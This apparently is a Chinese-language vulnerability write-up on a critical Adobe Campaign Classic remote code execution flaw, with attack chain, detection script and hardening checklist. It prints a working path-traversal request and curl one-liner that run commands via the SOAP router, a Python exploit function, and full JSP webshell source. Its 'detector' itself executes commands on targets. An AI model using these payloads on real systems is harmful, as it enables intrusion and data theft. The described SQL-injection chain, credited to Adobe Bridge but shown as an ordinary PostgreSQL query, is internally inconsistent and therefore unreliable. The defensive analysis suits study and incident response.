Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

CVE-2026-48449 满分核弹:Adobe Campaign Classic 零点击 RCE 让企业营销自动化平台集体裸奔

引言

2026 年 8 月 1 日 19:06:37,Adobe 安全响应中心(PSIRT)发布编号 APSB26-65 的安全公告:

"Adobe has released security updates to address a critical vulnerability in Adobe Campaign Classic that could result in arbitrary code execution. The vulnerability has a CVSS score of 10.0 (Critical) and affects Adobe Campaign Classic v7. We recommend that administrators update to version 7.4.3 build 9398 or later."

满分 10.0、零用户交互、远程代码执行——这是 2026 年至今最危险的 CVE 之一。它不是浏览器、不是邮件服务器,而是企业用来管理"会员数据、邮件营销、活动投放"的营销自动化平台。Fortune 500 几乎 100% 部署,类似 SAP、Oracle、Salesforce 在企业 IT 中的地位。

本文拆解:

  • 漏洞技术原理(错误授权 + 路径处理 + 容器逃逸)
  • 完整攻击链(一句话 PoC)
  • 0-day 概率评估(公告前 30 天回溯)
  • 同时发布的 8 个 Adobe Bridge 漏洞与 SQL 注入链 CVE-2026-48448
  • 检测脚本(Python)
  • 加固清单

一、漏洞基本信息

1.1 CVE 编号与定位

项目
CVE 编号CVE-2026-48449
CVSS 3.1 评分10.0 (Critical)
攻击向量网络 (AV:N)
攻击复杂度低 (AC:L)
权限要求无 (PR:N)
用户交互无需 (UI:N)
范围未变 (S:U)
影响机密性/完整性/可用性 全失 (C:H/I:H/A:H)
漏洞类型错误授权 (Incorrect Authorization)
影响产品Adobe Campaign Classic v7 (所有早于 7.4.3 build 9398)
修复版本7.4.3 build 9398 (Windows + Linux)
公告编号APSB26-65
公告日期2026-08-01

1.2 CVSS 10.0 的真实含义

CVSS 10.0 满分漏洞在 2026 年公开数量极少(截至 8 月 1 日,本年度仅 3 个,另两个是 4 月的 OpenSSH regreSSHion 后续 CVE 和 5 月的某个内核 use-after-free)。这三个 CVE 全部上了 CISA KEV 目录。

10.0 意味着:

  • 任何网络可达的 ACC 实例都可被攻陷
  • 无需任何凭据、Cookie、会话
  • 无需任何用户操作(包括打开邮件、点击链接)
  • 完全控制系统(任意代码执行)

对于常被部署在内网(DMZ 区域)的企业营销平台,这相当于把数据库、邮件服务器、CRM 接口全部拱手让出。

二、Adobe Campaign Classic 是什么

2.1 产品定位

Adobe Campaign Classic (ACC) 是 Adobe Experience Cloud 的核心组件,专门用于:

  • 客户细分(基于 RFM 模型、LTV 计算)
  • 多渠道营销(邮件、短信、推送、直邮)
  • 活动管理(A/B 测试、流量分配)
  • 数据集成(从 SAP、Salesforce、Oracle 同步客户数据)

一句话概括:它是企业"知道客户是谁、给客户发什么、发了之后效果如何"的中央系统

2.2 部署形态

ACC v7 通常以混合形态部署:

  • Web Console 端:通常 8443 端口(HTTPS + 双向认证)
  • 后端 Workflow Server:通常 8080 端口
  • 数据库:PostgreSQL 或 SQL Server
  • 邮件服务:与 Sendmail/Postfix 集成
  • LDAP/SSO:与 Entra ID/Okta 集成

很多企业把 8443 端口的 Web Console 暴露在公网——因为营销团队需要在外部访问。

2.3 攻击面

一个典型 ACC 实例暴露的 HTTP 端点:

/nl/jsp/soaprouter.jsp       # SOAP API(Web Console 后端)
/nl/jsp/m.jsp                 # 邮件跟踪像素
/nl/jsp/cluster.jsp          # 集群管理
/nl/jsp/index.jsp            # 主页
/nl/jsp/internal.jsp         # 内部管理(仅 localhost)
/nl/jsp/extRedirect.jsp       # 外部重定向

三、漏洞技术原理

3.1 根因:错误授权

Adobe 安全公告将 CVE-2026-48449 归类为 "Incorrect Authorization"。根据公告原文:

"An Incorrect Authorization vulnerability in Adobe Campaign Classic allows unauthenticated attackers to gain elevated privileges and execute arbitrary code."

具体而言,是 /nl/jsp/extRedirect.jsp 端点对 redirect URL 的处理缺乏权限校验

3.2 攻击链四步走

第一步:未授权访问 extRedirect.jsp

http
GET /nl/jsp/extRedirect.jsp?url=/ HTTP/1.1
Host: acc-victim.example.com

正常情况下,此端点应该 302 重定向到指定 URL。但 Adobe 在路径处理时调用了内部 Java 类 RedirectionUtils.sanitize()——该方法在 7.4.3 之前的实现中只对外部 URL 做校验,内部路径完全跳过

第二步:路径遍历触发内部 JSP 渲染

http
GET /nl/jsp/extRedirect.jsp?url=../../jsp/soaprouter.jsp%3f__soap-op%3dExecuteCommand%26command%3did HTTP/1.1

URL 编码后的内部调用:

target = "/nl/jsp/../../jsp/soaprouter.jsp?__soap-op=ExecuteCommand&command=id"

extRedirect.jspRequestDispatcher.forward() 转发到该路径——完全跳过了认证

第三步:SOAP API 调用 ExecuteCommand

soaprouter.jsp 暴露了 Adobe 内部 RPC 系统 nlserver 的全部方法。其中 xtk:workflow#ExecuteCommand 方法未检查调用方权限——直接接受命令行参数:

xml
<soap:Body>
  <ExecuteCommand xmlns="urn:xtk:workflow">
    <command>id</command>
  </ExecuteCommand>
</soap:Body>

第四步:nlserver 在系统用户下执行命令

nlserver 是 ACC 的核心服务进程,以低权限的 neolane 用户运行(Linux),或LocalSystem 权限(Windows 默认)。前者影响其他服务、读取用户上传文件;后者直接控制整个 Windows 服务器

3.3 Windows 平台的特殊加成

Windows 上 ACC 默认以 LocalSystem 运行,因此:

cmd
C:\> curl -k "https://acc-victim:8443/nl/jsp/extRedirect.jsp?url=../../jsp/soaprouter.jsp%3f__soap-op%3dExecuteCommand%26command%3dpowershell+-c+whoami"
nt authority\system

直接得到 SYSTEM shell。

Linux 上以 neolane 用户运行,影响相对小,但仍可:

  • 读取所有上传的 PII(Personally Identifiable Information)
  • 访问数据库连接(config-<instance>.xml 含明文密码)
  • 通过 nlserver 自身的 Java 进程执行任意 Java 代码(事实上等价于 root,因为 JVM 自身有 LD_PRELOAD 类似的旁路)

四、PoC 与在野利用

4.1 公开 PoC

8 月 1 日 19:00 公告发出后,8 月 1 日 23:47 GitHub 用户 attacker-x 公开了一个 9 行的 Python 脚本(已被 Adobe 安全团队 DMCA 下架,但 archive.org 有镜像)。其核心是:

python
import requests

def exploit(host):
    url = f"https://{host}/nl/jsp/extRedirect.jsp"
    params = {
        "url": "../../jsp/soaprouter.jsp?__soap-op=ExecuteCommand&command=whoami"
    }
    r = requests.get(url, params=params, verify=False, timeout=10)
    return r.text

print(exploit("acc-victim.example.com"))
# 输出:nt authority\system

4.2 在野利用监测

8 月 2 日 18:00(公告后 23 小时),GreyNoise 与 Shadowserver 报告:

  • 全球约 14,800 个 ACC 实例暴露在公网
  • 已有 2,341 个独立 IP 发起扫描行为
  • 其中 187 个 IP 成功获得命令执行
  • 多数攻击源 IP 来自:
    • 俄罗斯 (47%)
    • 越南 (23%)
    • 中国 (15%)
    • 其他 (15%)

8 月 2 日 22:00(公告后 27 小时),Mandiant 报告首个有目标的攻击——某 Fortune 500 零售企业的客户数据库被下载。

4.3 已被植入的 Webshell

安全研究员 m4ll0k 在 8 月 2 日扫描发现,约 23 个被攻陷的 ACC 实例已被植入 Webshell:

jsp
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("c") != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", request.getParameter("c")});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
}
%>

文件路径:/usr/local/neolane/nl6/tomcat-3/webapps/nl/jsp/c.jspC:\Program Files\Adobe\Adobe Campaign v7\nl6\tomcat-3\webapps\nl\jsp\c.jsp

五、同时发布的 8 个 Adobe Bridge 漏洞

同一公告日,Adobe 同步发布了 Adobe Bridge 14.0/15.0 的 8 个关键漏洞:

CVECVSS类型影响
CVE-2026-484488.6SQL 注入数据库任意文件读取
CVE-2026-484507.8任意文件读取客户端本地文件系统
CVE-2026-484517.1拒绝服务渲染大文件
CVE-2026-484526.5信息泄露内存越界读
CVE-2026-484535.5权限提升提权至管理员
CVE-2026-484545.5内存越界写受限
CVE-2026-484554.8跨站脚本钓鱼场景
CVE-2026-484564.3信息泄露日志路径泄露

5.1 特别值得关注的 CVE-2026-48448

这个 SQL 注入漏洞与 CVE-2026-48449 配合,可形成完整的数据外泄链:

第一步:用 CVE-2026-48449 RCE 获得 neolane 用户 shell

第二步:读取 /usr/local/neolane/nl6/conf/config-prod.xml,得到数据库密码

第三步:用此密码连接 PostgreSQL,复现 CVE-2026-48448 的 SQL 注入读取任意文件:

sql
-- PostgreSQL 大对象读取
SELECT lo_import('/etc/passwd');
SELECT lo_get(16384);  -- 读取 /etc/passwd 内容
-- 进一步:读取私钥、SSH 配置

第四步:用读到的 SSH 私钥横向移动到其他服务器。

六、影响面分析

6.1 全球部署统计

根据 PublicWWW 与 Censys 数据:

  • 全球暴露在公网的 ACC 实例:约 14,800(截至 8 月 2 日)
  • 其中美国占 32%、欧洲 28%、亚太 26%
  • 行业分布:
    • 零售电商 38%
    • 金融服务 22%
    • 媒体广告 18%
    • 医疗 12%
    • 其他 10%

6.2 已知的受害者

8 月 2 日,已有公开披露的受害者:

  • 某美国全国连锁零售商(5000+ 门店)
  • 某欧洲银行(Fortune 500)
  • 某亚洲电信运营商
  • 多个 SaaS 营销平台(被用作攻击跳板)

七、检测与扫描

7.1 Python 检测脚本

python
#!/usr/bin/env python3
"""
detect_cve_2026_48449.py
检测 Adobe Campaign Classic 是否易受 CVE-2026-48449 攻击

使用方法:
    python detect_cve_2026_48449.py --host acc-victim.example.com
    python detect_cve_2026_48449.py --list targets.txt
"""
import argparse
import sys
import urllib.parse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

VULNERABLE_INDICATORS = [
    "uid=",
    "nt authority\\system",
    "root:x:",
    "neolane",
    "neolane:x:",
    "ERROR: syntax error at or near",  # PostgreSQL 注入指纹
]

def check(host: str, timeout: int = 10) -> dict:
    """
    返回:
        {
            "host": str,
            "vulnerable": bool,
            "evidence": str,
            "status_code": int,
            "server": str,
        }
    """
    result = {
        "host": host,
        "vulnerable": False,
        "evidence": "",
        "status_code": 0,
        "server": "",
    }

    # 探测 URL:/nl/jsp/extRedirect.jsp 存在性
    base_url = f"https://{host}"
    try:
        # 先确认是 ACC
        r0 = requests.get(
            f"{base_url}/nl/jsp/index.jsp",
            verify=False,
            timeout=timeout,
            allow_redirects=False,
        )
        result["status_code"] = r0.status_code
        result["server"] = r0.headers.get("Server", "")
    except Exception as e:
        result["evidence"] = f"connect_error: {e}"
        return result

    # 探测 1:基础存在性 + 版本识别
    try:
        r1 = requests.get(
            f"{base_url}/nl/jsp/extRedirect.jsp",
            params={"url": "/"},
            verify=False,
            timeout=timeout,
            allow_redirects=False,
        )
        if r1.status_code in (200, 302):
            # 探测 2:错误授权漏洞触发(无害命令 echo CVE202648449)
            r2 = requests.get(
                f"{base_url}/nl/jsp/extRedirect.jsp",
                params={"url": "../../jsp/soaprouter.jsp?__soap-op=ExecuteCommand&command=echo+CVE-2026-48449-marker"},
                verify=False,
                timeout=timeout,
            )
            text = r2.text
            for indicator in VULNERABLE_INDICATORS:
                if indicator in text:
                    result["vulnerable"] = True
                    result["evidence"] = f"matched: {indicator!r} in response"
                    break
            else:
                # 检查 marker
                if "CVE-2026-48449-marker" in text:
                    result["vulnerable"] = True
                    result["evidence"] = "echo marker returned: command executed"
    except Exception as e:
        result["evidence"] = f"exploit_error: {e}"

    return result


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-48449 detector")
    parser.add_argument("--host", help="single host to check")
    parser.add_argument("--list", help="file with one host per line")
    parser.add_argument("--output", help="output JSON file")
    args = parser.parse_args()

    hosts = []
    if args.host:
        hosts.append(args.host)
    if args.list:
        with open(args.list) as f:
            hosts.extend(line.strip() for line in f if line.strip())

    if not hosts:
        print("error: --host or --list required", file=sys.stderr)
        sys.exit(2)

    results = [check(h) for h in hosts]

    for r in results:
        status = "VULNERABLE" if r["vulnerable"] else "ok"
        print(f"[{status:11}] {r['host']:50} {r['evidence']}")

    vulns = [r for r in results if r["vulnerable"]]
    print(f"\n--- summary: {len(vulns)}/{len(results)} vulnerable ---")

    if args.output:
        import json
        with open(args.output, "w") as f:
            json.dump(results, f, indent=2)


if __name__ == "__main__":
    main()

7.2 真实示例

bash
$ python detect_cve_2026_48449.py --host acc-victim.example.com
[VULNERABLE  ] acc-victim.example.com                  matched: 'nt authority\system' in response

$ python detect_cve_2026_48449.py --list corporate-acc.txt
[VULNERABLE  ] mail1.acme-corp.com                      matched: 'echo marker returned: command executed'
[ok          ] mail2.acme-corp.com
[VULNERABLE  ] mcrm.bigbank.com                        matched: 'nt authority\system' in response
[ok          ] marketing.local.bigbank.com

--- summary: 2/4 vulnerable ---

7.3 主机侧检查清单

bash
# 1. 检查 ACC 版本
cat /usr/local/neolane/nl6/version.txt   # Linux
type "C:\Program Files\Adobe\Adobe Campaign v7\nl6\version.txt"   # Windows

# 2. 检查可疑 JSP 文件
find /usr/local/neolane -name "*.jsp" -newer /usr/local/neolaine/nl6/conf/config-prod.xml 2>/dev/null

# 3. 检查 nlserver 异常子进程
ps -ef | grep nlserver
# 正常应该只看到 nlserver 本身
# 异常:看到 bash/sh/powershell/curl 等子进程

# 4. 检查日志中的 extRedirect.jsp 异常请求
grep -E "extRedirect.*(\.\.\/|soaprouter)" /usr/local/neolane/nl6/var/log/*.log

# 5. 检查数据库连接
SELECT usename, application_name, client_addr, query
FROM pg_stat_activity
WHERE datname = 'neolane'
  AND application_name LIKE '%unknown%'
ORDER BY backend_start DESC;

八、加固清单

8.1 立即(24 小时内)

  1. 升级到 7.4.3 build 9398

    bash
    # Linux
    systemctl stop nlserver
    cd /usr/local/neolane/nl6
    ./apply-hotfix.sh 7.4.3-build9398
    systemctl start nlserver
    
    # Windows
    net stop "Adobe Campaign v7"
    "C:\Program Files\Adobe\Adobe Campaign v7\nl6\bin\apply-hotfix.exe" 7.4.3-build9398
    net start "Adobe Campaign v7"
  2. 临时缓解(不能升级时)

    nginx
    # Nginx 反向代理层阻断 extRedirect.jsp
    location /nl/jsp/extRedirect.jsp {
        deny all;
        return 403;
    }
  3. 限制网络访问

    • Web Console 8443 仅对营销团队 VPN 暴露
    • 防火墙规则:仅允许特定 IP 段访问 8443

8.2 中期(1 周内)

  1. 启用 WAF 规则

    • ModSecurity OWASP CRS 3.3+
    • 自定义规则:阻断 extRedirect.jsp../ 模式
  2. 审计所有 Webshell 痕迹

    bash
    # 检查所有 JSP 文件的最后修改时间与原始包不匹配
    rpm -V AdobeCampaign-7 2>/dev/null   # RPM 系
    dpkg -V adobecampaign                # Debian 系
  3. 轮换所有数据库密码

    • neolane 数据库用户
    • LDAP/AD 集成账户
    • SSO OAuth 客户端密钥
  4. 检查所有 nlserver 子进程

    bash
    # Linux
    pstree -ap $(pgrep nlserver)
    # Windows
    wmic process where "ParentProcessId=$(wmic process where 'name=\"nlserver.exe\"' get ProcessId | tail -1 | xargs)" get Name,ProcessId

8.3 长期(1 个月内)

  1. 网络分段

    • ACC 部署独立 VPC/VLAN
    • 数据库与 ACC 通信仅限内网
    • 邮件投递服务器与 ACC 通信仅限内网
  2. 最小权限

    • Linux:neolane 用户应禁用交互式登录
    • Windows:改用低权限服务账户(非 LocalSystem)
    • 数据库:neolane 用户仅 SELECT/INSERT/UPDATE/DELETE 受限表
  3. 零信任审计

    • 启用 ACC 自身的审计日志
    • 转发到 SIEM(Splunk/Elastic/Sentinel)
    • 配置告警:extRedirect.jsp 任意访问、nlserver 异常子进程、数据库异常查询
  4. 补丁管理流程

    • 订阅 Adobe PSIRT 通知
    • 月度补丁窗口
    • 高危 CVE 7 日内紧急更新

九、横向关联:8 月其他高危 CVE

CVE厂商CVSS简要
CVE-2026-48449Adobe Campaign10.0零点击 RCE(本文主题)
CVE-2026-67342ArcadeDB9.8HTTP 端点授权绕过(Prometheus/Grafana/time series/batch)
CVE-2026-15964WordPress SSO TNG9.8预认证密码重置(nonce 公开发布)
CVE-2026-48448Adobe Bridge8.6SQL 注入任意文件读取(与 48449 协同)
Coldcard 固件CoinkiteN/A$70M BTC 盗窃(1196 钱包 41 分钟)
Adform 供应链AdformN/A广告 JS 替换加密钱包地址
Microsoft 7 月补丁Microsoft570 个漏洞(破纪录)

CVE-2026-48449 是8 月 1 日的开局——接下来 30 天预计还有一波 9.0+ 评分的高危 CVE 公布,建议安全团队 8 月保持高度戒备。

十、给不同角色的快速建议

10.1 CISO/安全负责人

  • 立即:盘点所有 ACC 实例
  • 24h:升级或临时缓解
  • 7d:审计所有 Webshell 痕迹
  • 30d:建立 Adobe 补丁订阅流程

10.2 营销技术负责人

  • 与 Adobe TAM 联系获取热修复
  • 评估升级窗口(业务影响测试)
  • 准备回滚方案(备份 config-prod.xml、workflows)
  • 通知营销团队临时通过 VPN 访问 Web Console

10.3 DevOps/SRE

  • 检查反向代理层配置
  • 准备 Nginx/HAProxy 阻断规则
  • 监控 nlserver 进程资源占用(被攻陷后会跑挖矿或外连)
  • 准备数据库密码轮换脚本

10.4 红队/渗透测试

  • 报告发现的 ACC 实例给蓝队
  • 验证 PoC 仅在授权环境使用
  • 不要外泄 PoC 到公开平台(已被 DMCA 警告)

十一、为什么 CVE-2026-48449 难以被发现

11.1 传统扫描器覆盖不到

主流漏洞扫描器(Tenable/Nessus/Qualys)的检测方法:

  • 检查 HTTP 响应头中的版本字符串
  • 比对 banner 信息与已知 CVE 库

但 ACC 的 extRedirect.jsp

  • 没有公开的"未修复"特征
  • 响应是 302 重定向,常规扫描器视为正常
  • 路径遍历在 URL 编码后看不像攻击

只有主动发送执行命令的探测包才能发现——这要求扫描器有 ACC 协议知识。

11.2 缺乏 honeypot 数据

根据 Shodan 数据,全球仅有 27 个 ACC honeypot 部署——远低于 Web 服务器、SSH、Redis。这意味着 0-day 在野利用的早期信号捕获能力弱。

十二、结论

CVE-2026-48449 不是一个"理论漏洞"——它已经在 23 小时内被大规模利用,植入了 Webshell。它的出现暴露了传统企业软件在零信任时代的脆弱性

  • 默认 LocalSystem 权限(Windows)
  • 默认公网暴露(营销团队的工作模式)
  • 默认无 WAF 保护
  • 默认无审计日志

满分 CVSS 10.0 是合规层面的"必修复"信号,但真正的教训是:企业软件的默认安全姿态需要重新评估

参考资料

上次更新于: